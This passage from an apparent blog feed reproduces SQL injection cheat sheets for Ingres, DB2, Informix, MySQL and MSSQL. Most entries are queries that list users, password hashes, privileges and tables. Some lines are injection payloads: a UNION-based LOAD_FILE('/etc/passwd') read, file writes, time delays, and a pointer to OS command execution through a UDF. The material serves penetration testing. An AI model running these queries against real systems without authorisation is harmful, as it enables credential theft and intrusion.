-&amp;nbsp; ingres&lt;br /&gt;$ sql iidbdb&lt;br /&gt;* select dbmsinfo('_version'); \go&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;The&lt;br /&gt;
 following areas are interesting enough to include on this page, but I &lt;br /&gt;
haven't researched them for other databases:&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SQL&lt;br /&gt;
 / Comments&amp;nbsp;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Batching Queries Allowed?&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Not&lt;br /&gt;
 via DBI in PERL.&amp;nbsp; Subsequent statements seem to get ignored:&lt;br /&gt;select &lt;br /&gt;
blah from table where foo = 1; select ... doesn't matter this is &lt;br /&gt;
ignored.&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;&lt;td&gt;&amp;nbsp;FROM clause mandated in SELECTs?&lt;/td&gt;&lt;td&gt;&lt;p&gt;No.&amp;nbsp;&lt;br /&gt;
 You don't need to select form &quot;dual&quot; or anything.&amp;nbsp; The following is &lt;br /&gt;
legal:&lt;br /&gt;select 1;&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;UNION supported&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Yes.&amp;nbsp;&lt;br /&gt;
 Nothing tricky here.&amp;nbsp; The following is legal:&lt;br /&gt;select 1 union select &lt;br /&gt;
2;&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Enumerate Tables Privs&lt;br /&gt;&lt;/td&gt;&lt;td&gt;select &lt;br /&gt;
table_name, permit_user, permit_type from iiaccess;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Length&lt;br /&gt;
 of a string&lt;/td&gt;&lt;td&gt;select length('abc'); -- returns 3&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Roles&lt;br /&gt;
 and passwords&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;First you need to connect to iidbdb, then:&lt;br /&gt;
 &lt;br /&gt;select roleid, rolepass from iirole; &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Database Procedures&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;First you need to connect to iidbdb, &lt;br /&gt;
then:&lt;br /&gt;select dbp_name,&amp;nbsp; dbp_owner from iiprocedure;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Create&lt;br /&gt;
 Users + Granting Privs&lt;/td&gt;&lt;td&gt;&lt;p&gt;First you need to connect to iidbdb, &lt;br /&gt;
then:&lt;br /&gt;create user pm with password = 'password';&lt;br /&gt;grant all on &lt;br /&gt;
current installation to pm;&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;DB2:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;select versionnumber, version_timestamp from&lt;br /&gt;
 sysibm.sysversions;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;select blah from&lt;br /&gt;
 foo; -- comment like this&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 user from sysibm.sysdummy1;&lt;br /&gt;select session_user from 
sysibm.sysdummy1;&lt;br /&gt;select system_user from sysibm.sysdummy1;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Users&lt;/td&gt;&lt;td&gt;&lt;p&gt;N/A (I think DB2 uses OS-level user accounts for &lt;br /&gt;
authentication.) &lt;/p&gt;&lt;p&gt;Database authorities (like roles, I think) can &lt;br /&gt;
be listed like this:&lt;br /&gt;select grantee from syscat.dbauth;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;N/A (I think DB2 uses OS-level user &lt;br /&gt;
accounts for authentication.)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Privileges&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 * from syscat.tabauth; -- privs on tables&lt;br /&gt;select * from 
syscat.dbauth where grantee = current user;&lt;br /&gt;select * from &lt;br /&gt;
syscat.tabauth where grantee = current user;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 current server from sysibm.sysdummy1;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Databases &lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 schemaname FROM syscat.schemata;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 name, tbname, coltype from sysibm.syscolumns;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Tables &lt;/td&gt;&lt;td&gt;select name from sysibm.systables;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 name from (SELECT name FROM sysibm.systables order by &lt;br /&gt; name fetch &lt;br /&gt;
first N+M-1 rows only) sq order by name desc fetch first N rows only;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select&lt;br /&gt;
 Nth Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;&amp;nbsp;&lt;br /&gt;
 -- returns b&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.tar.hu/sqlbible/sqlbible0084.html&quot;&gt;This page&lt;/a&gt;  seems&lt;br /&gt;
 to indicate that DB2 has no support for bitwise operators!&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;ASCII&lt;br /&gt;
 Value -&amp;gt; Char&lt;/p&gt;&lt;/td&gt;&lt;td&gt;select chr(65) from sysibm.sysdummy1; -- &lt;br /&gt;
returns 'A'&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char -&amp;gt; ASCII Value&lt;/td&gt;&lt;td&gt;select &lt;br /&gt;
ascii('A') from sysibm.sysdummy1; -- returns 65&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 cast('123' as integer) FROM sysibm.sysdummy1;&lt;br /&gt;SELECT cast(1 as char)&lt;br /&gt;
 FROM sysibm.sysdummy1;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String Concatenation&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'&lt;br /&gt;select&lt;br /&gt;
 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;Informix:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT DBINFO('version', 'full') FROM &lt;br /&gt;
systables WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO('version', 'server-type') 
FROM systables WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO('version', 'major'), &lt;br /&gt;
DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables &lt;br /&gt;
WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO('version', 'os') FROM systables WHERE 
tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app 
running on 64-bit Unix, F=64-bit app running on 64-bit unix&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 1 FROM systables WHERE tabid = 1; -- comment&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current&lt;br /&gt;
 User &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;SELECT USER FROM systables WHERE tabid = 1;&lt;br /&gt;select&lt;br /&gt;
 CURRENT_ROLE FROM systables WHERE tabid = 1;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Users&lt;/td&gt;&lt;td&gt;select username, usertype, password from sysusers;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Privileges&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 tabname, grantor, grantee, tabauth FROM systabauth join systables on &lt;br /&gt;
systables.tabid = systabauth.tabid; -- which tables are accessible by &lt;br /&gt;
which users&lt;br /&gt;select procname, owner, grantor, grantee from sysprocauth
 join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- 
which procedures are accessible by which users&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 DBSERVERNAME FROM systables where tabid = 1; -- server name&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Databases &lt;/td&gt;&lt;td&gt;select name, owner from sysdatabases;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select tabname, colname, owner, coltype FROM &lt;br /&gt;
syscolumns join systables on syscolumns.tabid = systables.tabid;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Tables &lt;/td&gt;&lt;td&gt;select tabname, owner FROM systables;&lt;br /&gt;select 
tabname, viewtext FROM sysviews&amp;nbsp; join systables on systables.tabid = 
sysviews.tabid;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Stored Procedures&lt;br /&gt;&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 procname, owner FROM sysprocedures;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find Tables &lt;br /&gt;
From Column Name &lt;/td&gt;&lt;td&gt;select tabname, colname, owner, coltype FROM &lt;br /&gt;
syscolumns join systables on syscolumns.tabid = systables.tabid where &lt;br /&gt;
colname like '%pass%'; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;select &lt;br /&gt;
first 1 tabid from (select first 10 tabid from systables order by tabid)&lt;br /&gt;
 as sq order by tabid desc; -- selects the 10th row&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select&lt;br /&gt;
 Nth Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM &lt;br /&gt;
systables where tabid = 1; -- returns 'C'&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise &lt;br /&gt;
AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select bitand(6, 1) from systables where tabid = 1; --&lt;br /&gt;
 returns 0&lt;br /&gt;select bitand(6, 2) from systables where tabid = 1; -- 
returns 2&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char&lt;br /&gt;
 -&amp;gt; ASCII Value&lt;/td&gt;&lt;td&gt;select ascii('A') from systables where tabid =&lt;br /&gt;
 1;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;select cast('123' as integer) &lt;br /&gt;
from systables where tabid = 1;&lt;br /&gt;select cast(1 as char) from systables
 where tabid = 1;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String Concatenation&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'&lt;br /&gt;SELECT 
concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Length&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT tabname, length(tabname), &lt;br /&gt;
char_length(tabname), octet_length(tabname) from systables; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Case Statement&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 tabid, case when tabid&amp;gt;10 then &quot;High&quot; else 'Low' end from systables;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hostname, IP Address&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname&lt;br /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default/System &lt;br /&gt;
Databases&lt;br /&gt;&lt;/td&gt;&lt;td&gt;These are the system databases:&lt;br /&gt;sysmaster&lt;br /&gt;sysadmin*&lt;br /&gt;sysuser*&lt;br /&gt;sysutils*&lt;br /&gt;&lt;br /&gt;*&lt;br /&gt;
 = don't seem to contain anything / don't allow reading&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Installing&lt;br /&gt;
 Locally&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;You can download &lt;a href=&quot;http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&amp;amp;S_CMP=LP&quot;&gt;Informix&lt;br /&gt;
 Dynamic Server Express Edition 11.5 Trial&lt;/a&gt;  for Linux and Windows.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Database&lt;br /&gt;
 Client&lt;br /&gt;&lt;/td&gt;&lt;td&gt;There's a &lt;a href=&quot;http://www14.software.ibm.com/webapp/download/search.jsp?rs=ifxdl&quot;&gt;database&lt;br /&gt;
 client SDK&lt;/a&gt;  available, but I couldn't get the demo client working.&lt;br /&gt;I&lt;br /&gt;
 used &lt;a href=&quot;http://squirrel-sql.sourceforge.net/&quot;&gt;SQuirreL SQL Client&lt;br /&gt;
 Version 2.6.8&lt;/a&gt; after installing the &lt;a href=&quot;http://www14.software.ibm.com/webapp/download/search.jsp?go=y&amp;amp;rs=ifxjdbc&quot;&gt;Informix&lt;br /&gt;
 JDBC drivers&lt;/a&gt;  (&quot;emerge dev-java/jdbc-informix&quot; on Gentoo).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Logging&lt;br /&gt;
 in from command line&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;If you get local admin rights on a &lt;br /&gt;
Windows box and have a GUI logon:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Click: Start | All Programs&lt;br /&gt;
 | IBM Informix Dynamic Server 11.50 | someservername.&amp;nbsp; This will give &lt;br /&gt;
you a command prompt with various Environment variables set properly.&lt;/li&gt;&lt;li&gt;Run&lt;br /&gt;
 dbaccess.exe from your command prompt.&amp;nbsp; This will bring up a text-based&lt;br /&gt;
 GUI that allows you to browse databases.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The following &lt;br /&gt;
were set on my test system.&amp;nbsp; This may help if you get command line &lt;br /&gt;
access, but can't get a GUI - you'll need to change &quot;testservername&quot;: &lt;/p&gt;&lt;pre&gt;set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50&amp;lt;br /&amp;gt;set INFORMIXSERVER=testservername&amp;lt;br /&amp;gt;set ONCONFIG=ONCONFIG.testservername&amp;lt;br /&amp;gt;set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib&amp;lt;br /&amp;gt;set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;&amp;lt;br /&amp;gt;set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp&amp;lt;br /&amp;gt;set CLIENT_LOCALE=EN_US.CP1252&amp;lt;br /&amp;gt;set DB_LOCALE=EN_US.8859-1&amp;lt;br /&amp;gt;set SERVER_LOCALE=EN_US.CP1252&amp;lt;br /&amp;gt;set DBLANG=EN_US.CP1252&amp;lt;br /&amp;gt;mode con codepage select=1252&amp;lt;br /&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;Identifying on the network&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;My&lt;br /&gt;
 default installation listened on two TCP ports: 9088 and 9099.&amp;nbsp; When I &lt;br /&gt;
created a new &quot;server name&quot;, this listened on 1526/TCP by default.&amp;nbsp; Nmap&lt;br /&gt;
 4.76 didn't identify these ports as Informix:&lt;/p&gt;$ sudo nmap -sS -sV &lt;br /&gt;
10.0.0.1 -p- -v --version-all&lt;br /&gt;...&lt;br /&gt;1526/tcp open&amp;nbsp; pdap-np?&lt;br /&gt;9088/tcp
 open&amp;nbsp; unknown&lt;br /&gt;9089/tcp open&amp;nbsp; unknown&lt;br /&gt;...&lt;br /&gt;TODO How would we &lt;br /&gt;
identify Informix listening on the network?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Thanks to <a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/">PentestMonkey.net</a> for this.<br /><br />MySQL:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>SELECT @@version </td></tr><tr><td>Comments&nbsp;</td><td>SELECT<br />
 1; #comment<br />SELECT /*comment*/1; </td></tr><tr><td>Current User <br /></td><td>SELECT<br />
 user();<br /> SELECT system_user();<br /></td></tr><tr><td>List Users</td><td>SELECT<br />
 user FROM mysql.user; -- priv</td></tr><tr><td>List Password Hashes<br /></td><td>SELECT<br />
 host, user, password FROM mysql.user; -- priv<br /></td></tr><tr><td>Password<br />
 Cracker<br /></td><td><a href="http://www.openwall.com/john/">John the <br />
Ripper</a>  will crack MySQL password hashes. </td></tr><tr><td>List <br />
Privileges</td><td><p>SELECT grantee, privilege_type, is_grantable FROM <br />
information_schema.user_privileges; -- list user privs&nbsp;</p><p>SELECT <br />
host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, <br />
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, <br />
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, <br />
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, <br />
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- <br />
priv, list user privs</p><p>SELECT grantee, table_schema, privilege_type<br />
 FROM information_schema.schema_privileges; -- list privs on databases <br />
(schemas)</p><p>SELECT table_schema, table_name, column_name, <br />
privilege_type FROM information_schema.column_privileges; -- list privs <br />
on columns&nbsp;</p></td></tr><tr><td>List DBA Accounts</td><td><p>SELECT <br />
grantee, privilege_type, is_grantable FROM <br />
information_schema.user_privileges WHERE privilege_type = 'SUPER';&nbsp;</p><p>
 SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv</p></td></tr><tr><td>Current<br />
 Database&nbsp;  </td><td>SELECT database() </td></tr><tr><td>List Databases </td><td>SELECT<br />
 schema_name FROM information_schema.schemata; -- for MySQL &gt;= v5.0<br />SELECT
 distinct(db) FROM mysql.db -- priv<br /></td></tr><tr><td>List Columns <br /></td><td>SELECT<br />
 table_schema, table_name, column_name FROM information_schema.columns <br />
WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</td></tr><tr><td>List<br />
 Tables </td><td>SELECT table_schema,table_name FROM <br />
information_schema.tables WHERE table_schema != 'mysql' AND table_schema<br />
 != 'information_schema'</td></tr><tr><td>Find Tables From Column Name </td><td>
 SELECT table_schema, table_name FROM information_schema.columns WHERE <br />
column_name = 'username'; -- find table which have a column called <br />
'username'<br /></td></tr><tr><td>Select Nth Row</td><td><p>SELECT <br />
host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from<br />
 0<br />SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows <br />
numbered from 0</p></td></tr><tr><td>Select Nth Char  <br /></td><td>SELECT<br />
 substr('abcd', 3, 1); # returns c<br /></td></tr><tr><td>Bitwise AND&nbsp; <br /></td><td>SELECT<br />
 6 &amp; 2; # returns 2<br />SELECT 6 &amp; 1; # returns 0<br /></td></tr><tr><td><p>ASCII<br />
 Value -&gt; Char</p></td><td>SELECT char(65); # returns A<br /></td></tr><tr><td>Char<br />
 -&gt; ASCII Value</td><td>SELECT ascii('A'); # returns 65<br /></td></tr><tr><td>Casting</td><td>SELECT<br />
 cast('1' AS unsigned integer);<br />SELECT cast('123' AS char);<br /></td></tr><tr><td>String<br />
 Concatenation</td><td> SELECT CONCAT('A','B'); #returns AB<br />SELECT 
CONCAT('A','B','C'); # returns ABC<br /></td></tr><tr><td><p>If Statement</p></td><td>
 SELECT if(1=1,'foo','bar'); -- returns 'foo'<br /></td></tr><tr><td>Case <br />
Statement</td><td> SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # <br />
returns A<br /></td></tr><tr><td>Avoiding Quotes <br /></td><td>SELECT <br />
0x414243; # returns ABC<br /></td></tr><tr><td>Time Delay&nbsp; <br /></td><td><span>SELECT<br />
 BENCHMARK(1000000,MD5('A'));<br />SELECT SLEEP(5); # &gt;= 5.0.12<br /></span></td></tr><tr><td>Make<br />
 DNS Requests</td><td>Impossible?<br /></td></tr><tr><td>Command Execution</td><td><p>If<br />
 mysqld (&lt;5.0) is running as root AND you compromise a DBA account <br />
you can execute OS commands by uploading a shared object file into <br />
/usr/lib (or similar).&nbsp; The .so file should contain a User Defined <br />
Function (UDF).&nbsp; <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c">raptor_udf.c</a><br />
  explains exactly how you go about this.&nbsp; Remember to compile for the <br />
target architecture which may or may not be the same as your attack <br />
platform. </p></td></tr><tr><td>Local File Access<br /></td><td>...' UNION<br />
 ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read <br />
world-readable files.<br />SELECT * FROM mytable INTO dumpfile 
'/tmp/somefile'; -- priv, write to file system<br /></td></tr><tr><td>Hostname,<br />
 IP Address</td><td>Impossible?</td></tr><tr><td>Create Users<br /></td><td>CREATE<br />
 USER test1 IDENTIFIED BY 'pass1'; -- priv<br /></td></tr><tr><td>Delete <br />
Users<br /></td><td>DROP USER test1; -- priv</td></tr><tr><td>Make User <br />
DBA<br /></td><td>GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv</td></tr><tr><td>Location<br />
 of DB files<br /></td><td>SELECT @@datadir; <br /></td></tr><tr><td>Default/System<br />
 Databases<br /></td><td>information_schema (&gt;= mysql 5.0)<br />mysql</td></tr></tbody></table><p><br />MSSQL:<br /><br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>SELECT @@version</td></tr><tr><td>Comments&nbsp;</td><td>SELECT<br />
 1 -- comment<br />SELECT /*comment*/1</td></tr><tr><td>Current User <br /></td><td>SELECT<br />
 user_name(); <br />SELECT system_user; <br />SELECT user; <br />SELECT <br />
loginame FROM master..sysprocesses WHERE spid = @@SPID</td></tr><tr><td>List<br />
 Users</td><td>SELECT name FROM master..syslogins <br /></td></tr><tr><td>List<br />
 Password Hashes<br /></td><td>SELECT name, password FROM <br />
master..sysxlogins -- priv, mssql 2000;<br />SELECT name, 
master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, 
mssql 2000.&nbsp; Need to convert to hex to return hashes in MSSQL error 
message / some version of query analyzer.<br />SELECT name, password_hash <br />
FROM master.sys.sql_logins -- priv, mssql 2005;<br />SELECT name + '-' + <br />
master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins <br />
-- priv, mssql 2005    </td></tr><tr><td>&nbsp;Password Cracker</td><td>MSSQL<br />
 2000 and 2005 Hashes are both SHA1-based.&nbsp; <a href="https://labs.portcullis.co.uk/application/phrasen-drescher/">phrasen|drescher</a><br />
  can crack these.<br /></td></tr><tr><td>List Privileges</td><td>Impossible?<br /></td></tr><tr><td>List<br />
 DBA Accounts</td><td>TODO<br />SELECT is_srvrolemember('sysadmin'); -- is
 your account a sysadmin?&nbsp; returns 1 for true, 0 for false, NULL for 
invalid role.&nbsp; Also try 'bulkadmin', 'systemadmin' and other values from
 the <a href="http://msdn.microsoft.com/en-us/library/ms176015.aspx">documentation<br /></a><br />
 SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1<br />
 for true, 0 for false, NULL for invalid role/username.<br /></td></tr><tr><td>Current<br />
 Database&nbsp;  </td><td>SELECT DB_NAME()&nbsp;</td></tr><tr><td>List Databases </td><td>SELECT<br />
 name FROM master..sysdatabases; <br />SELECT DB_NAME(N); -- for N = 0, 1,
 2, ... <br /></td></tr><tr><td>List Columns <br /></td><td>SELECT name FROM<br />
 syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = <br />
'mytable'); -- for the current DB only<br />SELECT 
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM 
master..syscolumns, master..sysobjects WHERE 
master..syscolumns.id=master..sysobjects.id AND 
master..sysobjects.name='sometable'; -- list colum names and types for 
master..sometable<br /></td></tr><tr><td>List Tables </td><td>SELECT name <br />
FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views<br />SELECT
 name FROM someotherdb..sysobjects WHERE xtype = 'U';<br />SELECT <br />
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM <br />
master..syscolumns, master..sysobjects WHERE <br />
master..syscolumns.id=master..sysobjects.id AND <br />
master..sysobjects.name='sometable'; -- list colum names and types for <br />
master..sometable<br /></td></tr><tr><td>Find Tables From Column Name </td><td>--<br />
 NB: This example works only for the current database.&nbsp; If you wan't to <br />
search another db, you need to specify the db name (e.g. replace <br />
sysobject with mydb..sysobjects).<br />SELECT sysobjects.name as <br />
tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns<br />
 ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND <br />
syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each <br />
column containing the word 'password' </td></tr><tr><td>Select Nth Row</td><td>SELECT<br />
 TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name<br />
 ASC) sq ORDER BY name DESC -- gets 9th row&nbsp;</td></tr><tr><td>Select Nth<br />
 Char  <br /></td><td>SELECT substring('abcd', 3, 1) -- returns c<br /></td></tr><tr><td>Bitwise<br />
 AND&nbsp; <br /></td><td>SELECT 6 &amp; 2 -- returns 2<br />SELECT 6 &amp; 1 -- 
returns 0 <br /></td></tr><tr><td><p>ASCII Value -&gt; Char</p></td><td>SELECT<br />
 char(0x41) -- returns A<br /></td></tr><tr><td>Char -&gt; ASCII Value</td><td>SELECT<br />
 ascii('A') - returns 65<br /></td></tr><tr><td>Casting</td><td>SELECT <br />
CAST('1' as int);<br />SELECT CAST(1 as char) <br /></td></tr><tr><td>String<br />
 Concatenation</td><td>SELECT 'A' + 'B' - returns AB<br /></td></tr><tr><td><p>If<br />
 Statement</p></td><td><p><span>IF (1=1) SELECT 1 ELSE SELECT 2 -- <br />
returns 1</span> </p></td></tr><tr><td>Case Statement</td><td>SELECT <br />
CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 </td></tr><tr><td>Avoiding <br />
